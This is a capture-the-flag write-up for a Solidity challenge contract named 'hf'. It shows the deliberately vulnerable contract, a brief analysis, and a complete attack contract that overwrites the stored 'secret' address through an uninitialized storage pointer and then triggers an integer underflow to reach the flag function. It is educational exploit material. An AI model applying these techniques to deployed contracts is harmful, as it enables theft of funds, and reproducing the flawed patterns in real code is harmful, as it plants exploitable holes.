09.integer-overflow @hf

integer-overflow(hf)

contract

pragma solidity ^0.4.24;

contract hf {
    address secret;
    uint count;
    address owner;
    
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    
    struct node {
        address nodeadress;
        uint nodenumber;
    }
    
    node public node0;
    
    event SendFlag(string b64email);
    
    constructor()public{
        owner = msg.sender;
    }
    
    function payforflag(string b64email) public {
        require(balanceOf[msg.sender] >= 100000);
        balanceOf[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit SendFlag(b64email);
    }
    

    //to fuck
    
    modifier onlySecret() {
        require(msg.sender == secret);
        _;
    }
    
    function profit() public{
        require(gift[msg.sender]==0);
        gift[msg.sender]=1;
        balanceOf[msg.sender]+=1;
    }
    
    function hfvote() public payable{
        uint geteth=msg.value/1000000000000000000;
        balanceOf[msg.sender]+=geteth;
    }
    
    function ubw() public payable{
        if (msg.value < 2 ether)
        {
            node storage n = node0;
            n.nodeadress=msg.sender;
            n.nodenumber=1;
        }
        else
        {
            n.nodeadress=msg.sender;
            n.nodenumber=2;
        }
    }
    
    function fate(address to,uint value) public onlySecret {
        require(balanceOf[msg.sender]-value>=0);
        balanceOf[msg.sender]-=value;
        balanceOf[to]+=value;
    }
    
}

analyses

The node0 has not been initialized yet, so we can change the slot0 & underflow

interface Ihf {
    function balanceOf(address) external returns(uint);
    function payforflag(string b64email) public;
    function ubw() public payable;
    function fate(address,uint) public;
}

contract hfAttack{
    Ihf public _hf;

    constructor(address _addr) public{
        _hf = Ihf(_addr);
    }

    function solve() public payable {
        // The node0 has not been initialized yet, so we can change the slot0:'secret'
        // msg.value should be 2 ether or more
        _hf.ubw.value(msg.value)(); 
        // the money to send can be any expect address(this)
        _hf.fate(address(0), 1); // underflow
        _hf.payforflag("successfully");
    }

    function getBalance() public view returns(uint256){
        uint256 balance = _hf.balanceOf(address(this));
        return balance;
    }

    function() external payable {} // attention!!!! solve() will revert without this!!!
}

solve